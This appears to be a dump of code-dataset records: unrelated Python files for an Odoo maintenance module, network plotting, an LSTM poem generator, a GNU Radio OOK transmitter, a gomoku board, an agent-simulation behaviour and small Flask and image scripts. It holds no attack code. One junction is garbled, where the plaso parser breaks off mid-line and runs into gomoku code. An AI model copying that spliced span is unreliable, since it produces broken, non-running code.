'currency_id': self.maintenance_currency_id.id,\n 'maintenance_id': self.id\n })\n self.state = 'invoiced'\n action = self.env.ref('base_bim_2.action_bim_paidstate')\n result = action.read()[0]\n res = self.env.ref('base_bim_2.view_form_bim_paidstate', False)\n result['views'] = [(res and res.id or False, 'form')]\n result['res_id'] = epaid.id\n return result\n\n def action_view_invoices(self):\n invoices = []\n for inv in self.invoice_ids:\n if inv.type == 'out_invoice':\n invoices.append(inv.id)\n action = self.env.ref('account.action_move_out_invoice_type').read()[0]\n if len(invoices) > 0:\n action['domain'] = [('id', 'in', invoices)]\n else:\n action = {'type': 'ir.actions.act_window_close'}\n return action\n\nclass BimMaintenanceLine(models.Model):\n _name = 'bim.maintenance.line'\n _description = 'Lineas de mantenimiento'\n\n @api.depends('quantity','price_unit')\n def _compute_subtotal(self):\n for record in self:\n record.price_subtotal = record.quantity * record.price_unit\n\n name = fields.Char('Descripción')\n product_id = fields.Many2one('product.product', string='Producto')\n uom_id = fields.Many2one('uom.uom', 'UdM', related=\"product_id.uom_id\", readonly=True)\n quantity = fields.Float(\"Cantidad\")\n price_unit = fields.Float(\"Precio\")\n price_subtotal = fields.Float(\"Importe\", compute='_compute_subtotal')\n maintenance_id = fields.Many2one('bim.maintenance', string=\"Mantenimiento\", ondelete='cascade')\n\n @api.onchange('product_id')\n def onchange_product(self):\n if self.product_id:\n self.name = self.product_id.name\n\nclass BimMaintenanceTagsDays(models.Model):\n _name = \"bim.maintenance.tags.days\"\n _description = \"Dias restantes mantenimiento\"\n\n name = fields.Integer('Días')","sub_path":"base_bim_2/models/bim_maintenance.py","file_name":"bim_maintenance.py","file_ext":"py","file_size_in_byte":9563,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"236936163","text":"import networkx as nx\nimport matplotlib\nimport matplotlib.pyplot as plt\nfrom matplotlib.lines import Line2D\nfrom lib.logger import log\n\nmatplotlib.use('TkAgg') # this is required for mac when matplotlib is used in\n # conjuction with tensorflow, otherwise a cryptic error\n # is thrown\n\ndef plot(nodes, ways, tags=None, ways_labels=None):\n\n G = nx.Graph()\n pos = {}\n\n for w_id, way in ways.items():\n parse_way = False\n if tags == None:\n parse_way = True\n else:\n for k, v in tags:\n if k in way.tags and (way.tags[k] == v or v == None):\n parse_way = True\n break\n\n if parse_way == False:\n continue\n\n log(\"Way accepted into plot with tags: {}\".format(way.tags), \"DEBUG\")\n for i in range(len(way.nodes)-1):\n n1, n2 = way.nodes[i], way.nodes[i+1]\n if n1 not in pos:\n G.add_node(n1, node_color=nodes[n1].color, label=str(n1))\n pos[n1] = nodes[n1].location\n if n2 not in pos:\n G.add_node(n2, node_color=nodes[n2].color, label=str(n2))\n pos[n2] = nodes[n2].location\n G.add_edge(n1, n2, width=1, edge_color=way.color)\n\n labels = nx.get_node_attributes(G,'label')\n options = { \"node_size\": 20, \"linewidths\": 0}#,\"labels\":labels}\n edges = G.edges()\n node_color = nx.get_node_attributes(G,'node_color').values()\n edge_width = [G[u][v]['width'] for u,v in edges]\n edge_color = [G[u][v]['edge_color'] for u,v in edges]\n\n nx.draw(G, pos, node_color=node_color, #edge_color=edge_color,\n width=edge_width, **options)\n\n if ways_labels != None:\n h2 = nx.draw_networkx_edges(G, pos=pos, edge_color=edge_color)\n\n def make_proxy(clr, mappable, **kwargs):\n return Line2D([0, 1], [0, 1], color=clr, **kwargs)\n\n # generate proxies with the above function\n proxies = [make_proxy(clr, h2, lw=5) for clr in list(ways_labels.values())]\n edge_labels = [\"{}\".format(tag) for tag, color in ways_labels.items()]\n plt.legend(proxies, edge_labels)\n\n plt.show()\n\ndef plot_cycles_w_density(nodes, cycles, buildings,tags=None,ways_labels=None):\n G = nx.Graph()\n pos = {}\n\n for c_id, cycle in cycles.items():\n c = cycle[\"n_ids\"]\n density_color = \"black\" if cycles[c_id][\"density\"] == 0 else \"blue\"\n for i in range(len(c)):\n n1 = c[i]\n n2 = c[(i+1)%len(c)]\n if n1 not in pos:\n G.add_node(n1, node_color=density_color, node_size=1.0)\n pos[n1] = nodes[n1].location\n if n2 not in pos:\n G.add_node(n2, node_color=density_color, node_size=1.0)\n pos[n2] = nodes[n2].location\n G.add_edge(n1, n2, width=1, edge_color=density_color)\n\n for w_id, way in buildings.items():\n for i in range(len(way.nodes)):\n n1 = way.nodes[i]\n n2 = way.nodes[(i+1)%len(way.nodes)]\n if n1 not in pos:\n G.add_node(n1, node_color=\"black\", node_size=0.1)\n pos[n1] = nodes[n1].location\n if n2 not in pos:\n G.add_node(n2, node_color=\"black\", node_size=0.1)\n pos[n2] = nodes[n2].location\n if G.has_edge(n1, n2) == False:\n G.add_edge(n1, n2, width=1, edge_color=\"black\")\n\n options = {\n \"linewidths\": 1,\n \"node_color\": nx.get_node_attributes(G,'node_color').values(),\n \"node_size\": list(nx.get_node_attributes(G,'node_size').values()),\n \"width\": [G[u][v]['width'] for u,v in G.edges()],\n \"edge_color\": [G[u][v]['edge_color'] for u,v in G.edges()]\n }\n nx.draw(G, pos, **options)\n\n plt.show()\n","sub_path":"generator/lib/plotter.py","file_name":"plotter.py","file_ext":"py","file_size_in_byte":3869,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"75952598","text":"#importing dependencies\nimport numpy as np\nimport pandas as pd\nfrom keras.models import Sequential\nfrom keras.layers import Dense, Dropout, LSTM, RNN, GRU\nfrom keras.utils import np_utils\nimport os\n\n#load the data\nws_dir = './'\nweight_dir = 'saved_weight.h5'\ntext = open(ws_dir+'chairilanwar_poem.txt').read()\ntext = text.lower()\n\n#create charachter/word mappings\ncharachters = sorted(list(set(text)))\nn_to_char = {n:char for n, char in enumerate(charachters)}\nchar_to_n = {char:n for n, char in enumerate(charachters)}\n\n#data preprocessing\nX = []\nY = []\nX_modified = 0.0\nY_modified = 0.0\nmodel = None\nepoch = 10\nbatch = 200\nlength = len(text)\nseq_length = 120\n\ndef initialization() :\n global length, seq_length, text,char_to_n, n_to_char, X_modified, Y_modified, X, Y, charachters\n for i in range(0,length-seq_length,1):\n sequence = text[i : i+seq_length]\n label = text[i+seq_length]\n X.append([char_to_n[char] for char in sequence])\n Y.append(char_to_n[label])\n\n X_modified = np.reshape(X,(len(X),seq_length,1))\n X_modified = X_modified / float(len(charachters))\n Y_modified = np_utils.to_categorical(Y)\n\n#model\ndef runPoem() :\n global model, X_modified, Y_modified, epoch, batch, ws_dir, weight_dir\n model = Sequential()\n model.add(LSTM(200, input_shape=(X_modified.shape[1], X_modified.shape[2]), return_sequences=True))\n model.add(Dropout(0.25))\n model.add(LSTM(100,return_sequences=True))\n model.add(Dropout(0.2))\n model.add(GRU(200))\n model.add(Dropout(0.25))\n model.add(Dense(Y_modified.shape[1],activation='softmax'))\n if os.path.exists(ws_dir+weight_dir) :\n model.load_weights(ws_dir+weight_dir)\n model.compile(loss='categorical_crossentropy',optimizer='adam')\n model.fit(X_modified, Y_modified, epochs=epoch, batch_size=batch)\n model.save_weights(ws_dir+weight_dir)\n\ndef savePoem() :\n global model,X,Y, charachters, char_to_n, n_to_char, seq_length\n#generating text\n string_mapped = X[seq_length-1]\n full_string = [n_to_char[value] for value in string_mapped]\n#generating characters\n for i in range(seq_length) :\n x = np.reshape(string_mapped,(1,len(string_mapped),1))\n x = x / float(len(charachters))\n pred_index = np.argmax(model.predict(x,verbose=0))\n full_string.append(n_to_char[pred_index])\n string_mapped.append(pred_index)\n string_mapped = string_mapped[1:len(string_mapped)]\n\n#combining text\n txt = ''\n for char in full_string :\n txt = txt + char\n file = open('mypoem.txt','w')\n file.write(txt)\n file.close() \n\nif __name__ == '__main__' :\n initialization()\n runPoem()\n savePoem()\n","sub_path":"lstm-gru-poem.py","file_name":"lstm-gru-poem.py","file_ext":"py","file_size_in_byte":2675,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"567502198","text":"#!/usr/bin/env python3\n# -*- coding: utf-8 -*-\n\n#\n# SPDX-License-Identifier: GPL-3.0\n#\n# GNU Radio Python Flow Graph\n# Title: ook_tx\n# Author: student\n# GNU Radio version: 3.9.2.0\n\nfrom distutils.version import StrictVersion\n\nif __name__ == '__main__':\n import ctypes\n import sys\n if sys.platform.startswith('linux'):\n try:\n x11 = ctypes.cdll.LoadLibrary('libX11.so')\n x11.XInitThreads()\n except:\n print(\"Warning: failed to XInitThreads()\")\n\nfrom PyQt5 import Qt\nfrom gnuradio import qtgui\nfrom gnuradio.filter import firdes\nimport sip\nfrom gnuradio import analog\nfrom gnuradio import blocks\nfrom gnuradio import filter\nfrom gnuradio import gr\nfrom gnuradio.fft import window\nimport sys\nimport signal\nfrom argparse import ArgumentParser\nfrom gnuradio.eng_arg import eng_float, intx\nfrom gnuradio import eng_notation\nimport limesdr\nimport ook_tx_epy_block_0 as epy_block_0 # embedded python block\n\n\n\nfrom gnuradio import qtgui\n\nclass ook_tx(gr.top_block, Qt.QWidget):\n\n def __init__(self):\n gr.top_block.__init__(self, \"ook_tx\", catch_exceptions=True)\n Qt.QWidget.__init__(self)\n self.setWindowTitle(\"ook_tx\")\n qtgui.util.check_set_qss()\n try:\n self.setWindowIcon(Qt.QIcon.fromTheme('gnuradio-grc'))\n except:\n pass\n self.top_scroll_layout = Qt.QVBoxLayout()\n self.setLayout(self.top_scroll_layout)\n self.top_scroll = Qt.QScrollArea()\n self.top_scroll.setFrameStyle(Qt.QFrame.NoFrame)\n self.top_scroll_layout.addWidget(self.top_scroll)\n self.top_scroll.setWidgetResizable(True)\n self.top_widget = Qt.QWidget()\n self.top_scroll.setWidget(self.top_widget)\n self.top_layout = Qt.QVBoxLayout(self.top_widget)\n self.top_grid_layout = Qt.QGridLayout()\n self.top_layout.addLayout(self.top_grid_layout)\n\n self.settings = Qt.QSettings(\"GNU Radio\", \"ook_tx\")\n\n try:\n if StrictVersion(Qt.qVersion()) < StrictVersion(\"5.0.0\"):\n self.restoreGeometry(self.settings.value(\"geometry\").toByteArray())\n else:\n self.restoreGeometry(self.settings.value(\"geometry\"))\n except:\n pass\n\n ##################################################\n # Variables\n ##################################################\n self.sps = sps = 25\n self.baud = baud = 1200\n self.upsamp = upsamp = 50\n self.samp_rate = samp_rate = sps*baud\n self.payload = payload = 'I am over the air! '\n\n ##################################################\n # Blocks\n ##################################################\n self.root_raised_cosine_filter_0 = filter.fir_filter_fff(\n 1,\n firdes.root_raised_cosine(\n 1,\n samp_rate,\n baud,\n 0.35,\n 11*sps))\n self.rational_resampler_xxx_0 = filter.rational_resampler_ccc(\n interpolation=upsamp,\n decimation=1,\n taps=[],\n fractional_bw=0)\n self.qtgui_time_sink_x_0 = qtgui.time_sink_f(\n 1024, #size\n samp_rate, #samp_rate\n 'Shaped Symbol Train', #name\n 1, #number of inputs\n None # parent\n )\n self.qtgui_time_sink_x_0.set_update_time(0.10)\n self.qtgui_time_sink_x_0.set_y_axis(-1, 1)\n\n self.qtgui_time_sink_x_0.set_y_label('Amplitude', \"\")\n\n self.qtgui_time_sink_x_0.enable_tags(True)\n self.qtgui_time_sink_x_0.set_trigger_mode(qtgui.TRIG_MODE_FREE, qtgui.TRIG_SLOPE_POS, 0.0, 0, 0, \"\")\n self.qtgui_time_sink_x_0.enable_autoscale(False)\n self.qtgui_time_sink_x_0.enable_grid(True)\n self.qtgui_time_sink_x_0.enable_axis_labels(True)\n self.qtgui_time_sink_x_0.enable_control_panel(False)\n self.qtgui_time_sink_x_0.enable_stem_plot(False)\n\n self.qtgui_time_sink_x_0.disable_legend()\n\n labels = ['Signal 1', 'Signal 2', 'Signal 3', 'Signal 4', 'Signal 5',\n 'Signal 6', 'Signal 7', 'Signal 8', 'Signal 9', 'Signal 10']\n widths = [1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1]\n colors = ['blue', 'red', 'green', 'black', 'cyan',\n 'magenta', 'yellow', 'dark red', 'dark green', 'dark blue']\n alphas = [1.0, 1.0, 1.0, 1.0, 1.0,\n 1.0, 1.0, 1.0, 1.0, 1.0]\n styles = [1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1]\n markers = [-1, -1, -1, -1, -1,\n -1, -1, -1, -1, -1]\n\n\n for i in range(1):\n if len(labels[i]) == 0:\n self.qtgui_time_sink_x_0.set_line_label(i, \"Data {0}\".format(i))\n else:\n self.qtgui_time_sink_x_0.set_line_label(i, labels[i])\n self.qtgui_time_sink_x_0.set_line_width(i, widths[i])\n self.qtgui_time_sink_x_0.set_line_color(i, colors[i])\n self.qtgui_time_sink_x_0.set_line_style(i, styles[i])\n self.qtgui_time_sink_x_0.set_line_marker(i, markers[i])\n self.qtgui_time_sink_x_0.set_line_alpha(i, alphas[i])\n\n self._qtgui_time_sink_x_0_win = sip.wrapinstance(self.qtgui_time_sink_x_0.pyqwidget(), Qt.QWidget)\n self.top_layout.addWidget(self._qtgui_time_sink_x_0_win)\n self.qtgui_freq_sink_x_0 = qtgui.freq_sink_f(\n 1024, #size\n window.WIN_BLACKMAN_hARRIS, #wintype\n 0, #fc\n samp_rate, #bw\n 'TX Spectrum', #name\n 1,\n None # parent\n )\n self.qtgui_freq_sink_x_0.set_update_time(0.10)\n self.qtgui_freq_sink_x_0.set_y_axis(-140, 10)\n self.qtgui_freq_sink_x_0.set_y_label('Relative Gain', 'dB')\n self.qtgui_freq_sink_x_0.set_trigger_mode(qtgui.TRIG_MODE_FREE, 0.0, 0, \"\")\n self.qtgui_freq_sink_x_0.enable_autoscale(False)\n self.qtgui_freq_sink_x_0.enable_grid(True)\n self.qtgui_freq_sink_x_0.set_fft_average(1.0)\n self.qtgui_freq_sink_x_0.enable_axis_labels(True)\n self.qtgui_freq_sink_x_0.enable_control_panel(False)\n self.qtgui_freq_sink_x_0.set_fft_window_normalized(False)\n\n self.qtgui_freq_sink_x_0.disable_legend()\n\n self.qtgui_freq_sink_x_0.set_plot_pos_half(not True)\n\n labels = ['', '', '', '', '',\n '', '', '', '', '']\n widths = [1, 1, 1, 1, 1,\n 1, 1, 1, 1, 1]\n colors = [\"blue\", \"red\", \"green\", \"black\", \"cyan\",\n \"magenta\", \"yellow\", \"dark red\", \"dark green\", \"dark blue\"]\n alphas = [1.0, 1.0, 1.0, 1.0, 1.0,\n 1.0, 1.0, 1.0, 1.0, 1.0]\n\n for i in range(1):\n if len(labels[i]) == 0:\n self.qtgui_freq_sink_x_0.set_line_label(i, \"Data {0}\".format(i))\n else:\n self.qtgui_freq_sink_x_0.set_line_label(i, labels[i])\n self.qtgui_freq_sink_x_0.set_line_width(i, widths[i])\n self.qtgui_freq_sink_x_0.set_line_color(i, colors[i])\n self.qtgui_freq_sink_x_0.set_line_alpha(i, alphas[i])\n\n self._qtgui_freq_sink_x_0_win = sip.wrapinstance(self.qtgui_freq_sink_x_0.pyqwidget(), Qt.QWidget)\n self.top_layout.addWidget(self._qtgui_freq_sink_x_0_win)\n self.limesdr_sink_0 = limesdr.sink('', 0, '', '')\n\n\n self.limesdr_sink_0.set_sample_rate(samp_rate*upsamp)\n\n\n self.limesdr_sink_0.set_center_freq(100e6, 0)\n\n self.limesdr_sink_0.set_bandwidth(5e6, 0)\n\n\n self.limesdr_sink_0.set_digital_filter(samp_rate*upsamp, 0)\n\n\n self.limesdr_sink_0.set_gain(40, 0)\n\n\n self.limesdr_sink_0.set_antenna(255, 0)\n\n\n self.limesdr_sink_0.calibrate(2.5e6, 0)\n self.epy_block_0 = epy_block_0.blk(scale=1, sps=sps)\n self.blocks_vector_source_x_0 = blocks.vector_source_b(list(ord(i) for i in payload), True, 1, [])\n self.blocks_packed_to_unpacked_xx_0 = blocks.packed_to_unpacked_bb(1, gr.GR_MSB_FIRST)\n self.blocks_float_to_complex_0 = blocks.float_to_complex(1)\n self.analog_const_source_x_0 = analog.sig_source_f(0, analog.GR_CONST_WAVE, 0, 0, 0)\n\n\n\n ##################################################\n # Connections\n ##################################################\n self.connect((self.analog_const_source_x_0, 0), (self.blocks_float_to_complex_0, 1))\n self.connect((self.blocks_float_to_complex_0, 0), (self.rational_resampler_xxx_0, 0))\n self.connect((self.blocks_packed_to_unpacked_xx_0, 0), (self.epy_block_0, 0))\n self.connect((self.blocks_vector_source_x_0, 0), (self.blocks_packed_to_unpacked_xx_0, 0))\n self.connect((self.epy_block_0, 0), (self.root_raised_cosine_filter_0, 0))\n self.connect((self.rational_resampler_xxx_0, 0), (self.limesdr_sink_0, 0))\n self.connect((self.root_raised_cosine_filter_0, 0), (self.blocks_float_to_complex_0, 0))\n self.connect((self.root_raised_cosine_filter_0, 0), (self.qtgui_freq_sink_x_0, 0))\n self.connect((self.root_raised_cosine_filter_0, 0), (self.qtgui_time_sink_x_0, 0))\n\n\n def closeEvent(self, event):\n self.settings = Qt.QSettings(\"GNU Radio\", \"ook_tx\")\n self.settings.setValue(\"geometry\", self.saveGeometry())\n self.stop()\n self.wait()\n\n event.accept()\n\n def get_sps(self):\n return self.sps\n\n def set_sps(self, sps):\n self.sps = sps\n self.set_samp_rate(self.sps*self.baud)\n self.epy_block_0.sps = self.sps\n self.root_raised_cosine_filter_0.set_taps(firdes.root_raised_cosine(1, self.samp_rate, self.baud, 0.35, 11*self.sps))\n\n def get_baud(self):\n return self.baud\n\n def set_baud(self, baud):\n self.baud = baud\n self.set_samp_rate(self.sps*self.baud)\n self.root_raised_cosine_filter_0.set_taps(firdes.root_raised_cosine(1, self.samp_rate, self.baud, 0.35, 11*self.sps))\n\n def get_upsamp(self):\n return self.upsamp\n\n def set_upsamp(self, upsamp):\n self.upsamp = upsamp\n self.limesdr_sink_0.set_digital_filter(self.samp_rate*self.upsamp, 0)\n\n def get_samp_rate(self):\n return self.samp_rate\n\n def set_samp_rate(self, samp_rate):\n self.samp_rate = samp_rate\n self.limesdr_sink_0.set_digital_filter(self.samp_rate*self.upsamp, 0)\n self.limesdr_sink_0.set_digital_filter(self.samp_rate, 1)\n self.qtgui_freq_sink_x_0.set_frequency_range(0, self.samp_rate)\n self.qtgui_time_sink_x_0.set_samp_rate(self.samp_rate)\n self.root_raised_cosine_filter_0.set_taps(firdes.root_raised_cosine(1, self.samp_rate, self.baud, 0.35, 11*self.sps))\n\n def get_payload(self):\n return self.payload\n\n def set_payload(self, payload):\n self.payload = payload\n self.blocks_vector_source_x_0.set_data(list(ord(i) for i in self.payload), [])\n\n\n\n\ndef main(top_block_cls=ook_tx, options=None):\n\n if StrictVersion(\"4.5.0\") <= StrictVersion(Qt.qVersion()) < StrictVersion(\"5.0.0\"):\n style = gr.prefs().get_string('qtgui', 'style', 'raster')\n Qt.QApplication.setGraphicsSystem(style)\n qapp = Qt.QApplication(sys.argv)\n\n tb = top_block_cls()\n\n tb.start()\n\n tb.show()\n\n def sig_handler(sig=None, frame=None):\n tb.stop()\n tb.wait()\n\n Qt.QApplication.quit()\n\n signal.signal(signal.SIGINT, sig_handler)\n signal.signal(signal.SIGTERM, sig_handler)\n\n timer = Qt.QTimer()\n timer.start(500)\n timer.timeout.connect(lambda: None)\n\n qapp.exec_()\n\nif __name__ == '__main__':\n main()\n","sub_path":"ook_tx/ook_tx.py","file_name":"ook_tx.py","file_ext":"py","file_size_in_byte":11540,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"381257538","text":"# -*- coding: utf-8 -*-\r\n\"\"\"Parser for the FileHistory Config.xml files.\"\"\"\r\n\r\nfrom __future__ import unicode_literals\r\n\r\nimport os\r\n\r\nfrom defusedxml import ElementTree\r\nfrom dfdatetime import java_time as dfdatetime_java_time\r\n\r\nfrom plaso.containers import events\r\nfrom plaso.containers import time_events\r\nfrom plaso.lib import errors\r\nfrom plaso.lib import definitions\r\nfrom plaso.parsers import interface\r\nfrom plaso.parsers import manager\r\n\r\nclass FileHistoryConfigEventData(events.EventData):\r\n \"\"\"Windows FileHistory event data.\r\n\r\n Attributes:\r\n user_name (str)\r\n friendly_name (str)\r\n pc_name (str)\r\n library (str)\r\n user_folder (str)\r\n folder_exclude (str)\r\n retention_policy (str)\r\n minimum_retention_age (str)\r\n dp_frequency (str)\r\n dp_status (str)\r\n target_name (str)\r\n target_url (str)\r\n target_volume_path (str)\r\n target_backup_store_path (str)\r\n \"\"\"\r\n\r\n DATA_TYPE = 'filehistory:config:event'\r\n\r\n def __init__(self):\r\n \"\"\"Initializes event data.\"\"\"\r\n super(FileHistoryConfigEventData, self).__init__(data_type=self.DATA_TYPE)\r\n self.user_name = ''\r\n self.friendly_name = ''\r\n self.pc_name = ''\r\n self.library = ''\r\n self.user_folder = ''\r\n self.folder_exclude = ''\r\n self.retention_policy = ''\r\n self.minimum_retention_age = ''\r\n self.dp_frequency = ''\r\n self.dp_status = ''\r\n self.target_name = ''\r\n self.target_url = ''\r\n self.target_volume_path = ''\r\n self.target_drive_type = ''\r\n self.target_backup_store_path = ''\r\n\r\nclass FileHistoryConfigParser(interface.FileObjectParser):\r\n \"\"\"Parses an Windows FileHistory Config.xml file-like object\"\"\"\r\n\r\n NAME = 'filehistory_config'\r\n DESCRIPTION = 'Parser for Windows filehistory Config.xml files.'\r\n\r\n _HEADER_READ_SIZE = 128\r\n\r\n def ParseFileObject(self, parser_mediator, file_object):\r\n \"\"\"Parses an Windows FileHistory Config file-like object.\r\n\r\n Args:\r\n parser_mediator (ParserMediator): mediates interactions between parsers\r\n and other components, such as storage and dfvfs.\r\n file_object (dfvfs.FileIO): file-like object.\r\n\r\n Raises:\r\n unableToParseFile: when the file cannot be parsed.\r\n \"\"\"\r\n data = file_object.read(self._HEADER_READ_SIZE)\r\n if not data.startswith(b'self.n-1) or (t_y < 0 or t_y >self.n-1):\n break\n\n print(t_x,t_y)\n if self[t_y][t_x] == color:\n count += 1\n else:\n break\n if count >= 5:\n return True\n count = 0\n return False\n\n def get_legal_moves(self):\n \"\"\"Returns all the legal moves where no dol is on\n (1 for white, -1 for black\n \"\"\"\n moves = set() # stores the legal moves.\n newmoves = []\n # Get all the squares with pieces of the given color.\n for x in range(self.n):\n for y in range(self.n):\n if self[x][y]==0:\n newmoves.append((x,y))\n \n moves.update(newmoves)\n return list(moves)\n\n def get_legal_movesBoard(self):\n # return list\n legalBoard = [None]*self.n\n for i in range(self.n):\n legalBoard[i] = [0]*self.n\n for y in range(self.n):\n for x in range(self.n):\n if self.pieces[y][x] == 0:\n legalBoard[y][x] = 1\n else:\n legalBoard[y][x] = 0\n\n legalBoard[self.n/2][self.n/2] = 0\n return legalBoard\n\n\n def execute_move(self, move, color):\n \"\"\"Perform the given move on the board; put player's color dol \n on the move (1=white,-1=black)\n \"\"\"\n self.convert_to_Board_Pos(move,color)\n \n def convert_to_Board_Pos(self,move,color):\n bum =((self.n*self.n)*(self.n*self.n-1))/2\n allCases = [0]*bum\n allCases[move] = color\n \n self.sub_convert_to_Board(allCases[move],move,self.pieces)\n \n\n\n def convert_to_Board(self,allCases):\n \"\"\"\n convert a allCases array in to board form list\n \"\"\"\n board = [None]*self.n\n for i in range(self.n):\n board[i] = [0]*self.n\n\n caseNum = ((self.n*self.n)*(self.n*self.n-1))/2\n \n\n for c in range(caseNum):\n if allCases[c] != 0:\n self.sub_convert_to_Board(allCases[c],c,board)\n\n board[self.n/2][self.n/2] = 0 #9,9 black initial dol\n return board\n\n def sub_convert_to_Board(self,player,c,board):\n\n boardSize = self.n**2-1\n count = 0\n accum = 0\n for j in range(boardSize-count,0,-1):\n count+=1 \n accum += j\n if c < accum:\n #first digit can be defined\n # print(\"wow\")\n count-=1\n accum-=1\n board[count/self.n][count%self.n] = player\n accum = boardSize+1-accum+c\n count = 0\n\n for y in range(self.n):\n for x in range(self.n):\n count+=1\n if count == accum:\n board[y][x] = player\n return \n\n\n\n @staticmethod\n def _increment_move(move, direction, n): \n # print(move)\n \"\"\" Generator expression for incrementing moves \"\"\"\n move = list(map(sum, zip(move, direction)))\n #move = (move[0]+direction[0], move[1]+direction[1])\n while all(map(lambda x: 0 <= x < n, move)): \n #while 0<=move[0] and move[0] None:\n \"\"\"\n Implement the setup.\n :return: None\n \"\"\"\n self._replay_logger = ReplayLogger()\n\n environment = self.context.environment\n mapping = AddressMapping(\n self._mapping_path,\n environment.nb_agents\n )\n mapping.load()\n environment.set_mapping(mapping)\n\n def act(self) -> None:\n \"\"\"\n Implement the act. Actions depending on the phase of the simulation\n (can add a time constraint).\n\n :return: None\n \"\"\"\n environment = cast(Environment, self.context.environment)\n\n if environment.phase.value == Phase.START_SIMULATION.value:\n # Set up simulation logging\n self._replay_logger.initialize(environment.state)\n # Log initial state\n self._replay_logger.log_state(environment.state)\n environment.phase = Phase.START_NEXT_SIMULATION_TURN\n\n elif environment.phase.value == Phase.START_NEXT_SIMULATION_TURN.value:\n self._send_tick_messages(environment)\n self.context.logger.info(\"tick messages sent, waiting for replies\")\n environment.phase = Phase.COLLECTING_AGENTS_REPLY\n\n elif environment.phase.value == Phase.COLLECTING_AGENTS_REPLY.value:\n if environment.agents_reply_received:\n environment.phase = Phase.AGENTS_REPLY_RECEIVED\n\n environment.phase = Phase.START_NEXT_SIMULATION_TURN\n environment.update_simulation()\n self._replay_logger.log_state(environment.state)\n if len(environment.agents_alive) == 0 or environment.turn_number > self._max_turns:\n environment.phase = Phase.SIMULATION_CANCELLED\n else:\n environment.phase = Phase.START_NEXT_SIMULATION_TURN\n\n elif environment.phase.value == Phase.SIMULATION_CANCELLED.value:\n # the simulation has been canceled\n environment.end_simulation()\n self._cancel_simulation(environment)\n return None\n else:\n return None\n\n def teardown(self) -> None:\n \"\"\"\n Implement the task teardown.\n\n :return: None\n \"\"\"\n self._replay_logger.close()\n\n def _cancel_simulation(self, environment: Environment) -> None:\n if self.context.is_active:\n self.context.is_active = False\n Path(\"$SIMULATION_ENDED\").touch()\n\n def _send_tick_messages(self, environment: Environment) -> None:\n \"\"\"Collects data from the env and sends tick messages to all agents alive for current turn of simulation.\"\"\"\n if environment.agents_alive != [None]:\n self._send_to_all_agents(environment)\n else:\n self.context.logger.info(\n \"Tick messages not sent, list of agents alive is: '{}'\".format(environment.agents_alive))\n\n def _send_to_all_agents(self, environment):\n turn_number = environment.turn_number\n self.context.logger.info(\"Sending tick messages for turn number: '{}'\".format(turn_number))\n agent_environment_dialogues = cast(AgentEnvironmentDialogues, self.context.agent_environment_dialogues)\n\n for agent_address in environment.agents_alive:\n tile_water = environment.water_content(agent_address)\n agent_water = environment.agent_water(agent_address)\n n, e, s, w = environment.neighbours_nesw(agent_address)\n agent_movement = environment.agent_movement(agent_address)\n\n tick_msg, _agent_environment_dialogue = agent_environment_dialogues.create(\n counterparty=agent_address,\n performative=AgentEnvironmentMessage.Performative.TICK,\n tile_water=tile_water,\n turn_number=turn_number,\n agent_water=agent_water,\n north_neighbour_id=n if n else \"None\",\n east_neighbour_id=e if e else \"None\",\n south_neighbour_id=s if s else \"None\",\n west_neighbour_id=w if w else \"None\",\n movement_last_turn=agent_movement if agent_movement else \"None\"\n )\n self.context.outbox.put_message(message=tick_msg)\n","sub_path":"env_aea/skills/env_action_each_turn/behaviours.py","file_name":"behaviours.py","file_ext":"py","file_size_in_byte":6217,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"172808122","text":"from flask import Flask, render_template, request\nfrom main import SentimentAnalysis\nfrom form import getData\nimport os\n\napp = Flask(__name__)\nSECRET_KEY = os.urandom(32)\napp.config['SECRET_KEY'] = SECRET_KEY\nsa=SentimentAnalysis()\n\n@app.route('/')\ndef index():\n form=getData()\n return render_template('m.html',form=form)\n\n@app.route('/submit', methods = ['GET', 'POST'])\ndef submit():\n if request.method == 'POST':\n #Parse form data \n getData.topic = request.form['topic']\n getData.count = request.form['count']\n sa.DownloadData()\n return render_template('m.html')\n\nif __name__ == \"__main__\":\n app.run(debug=True)","sub_path":"app.py","file_name":"app.py","file_ext":"py","file_size_in_byte":662,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"113656278","text":"from PIL import Image\nimport numpy as np\nimport sys\nimport os\nimport csv\nimport random\n\nlabels = {}\ncount = 0\noutput = [\"train.csv\", \"test.csv\"]\nfor root, dirs, files in os.walk(\"pic\", topdown=False):\n labels[root] = count\n \n for name in files:\n if(name.endswith('.jpg')):\n fileName = os.path.join(root, name)\n else:\n continue\n img_file = Image.open(fileName)\n\n width, height = img_file.size\n format = img_file.format\n mode = img_file.mode\n\n img_grey = img_file.convert('L')\n\n value = np.asarray(img_grey.getdata(), dtype=np.int).reshape((img_grey.size[1], img_grey.size[0]))\n value = value.flatten()\n value = np.insert(value, 0, count)\n with open(random.choice(output), 'a') as f:\n writer = csv.writer(f)\n writer.writerow(value)\n\n count += 1\n\nprint (labels)","sub_path":"transform.py","file_name":"transform.py","file_ext":"py","file_size_in_byte":891,"program_lang":"python","lang":"en","doc_type":"code","dataset":"code-starcoder2","pt":"1"} +{"seq_id":"267534045","text":"import sqlite3\nfrom abc import ABCMeta, abstractmethod\nfrom enum import Enum\nfrom pickle import dumps, loads\nfrom tempfile import NamedTemporaryFile\nfrom typing import Callable, Generic, Optional, TypeVar, Union, cast\nfrom uuid import uuid4\n\nT = TypeVar(\"T\")\nKT = TypeVar(\"KT\")\nVT = TypeVar(\"VT\")\n_T = TypeVar(\"_T\")\n_S = TypeVar(\"_S\")\n\n\nclass RebuildStrategy(Enum):\n CHECK_WITH_FIRST_ELEMENT = 1\n ALWAYS = 2\n SKIP = 3\n\n\nclass SqliteCollectionBase(Generic[T], metaclass=ABCMeta):\n def __init__(\n self,\n connection: Optional[Union[str, sqlite3.Connection]] = None,\n table_name: Optional[str] = None,\n serializer: Optional[Callable[[T], bytes]] = None,\n deserializer: Optional[Callable[[bytes], 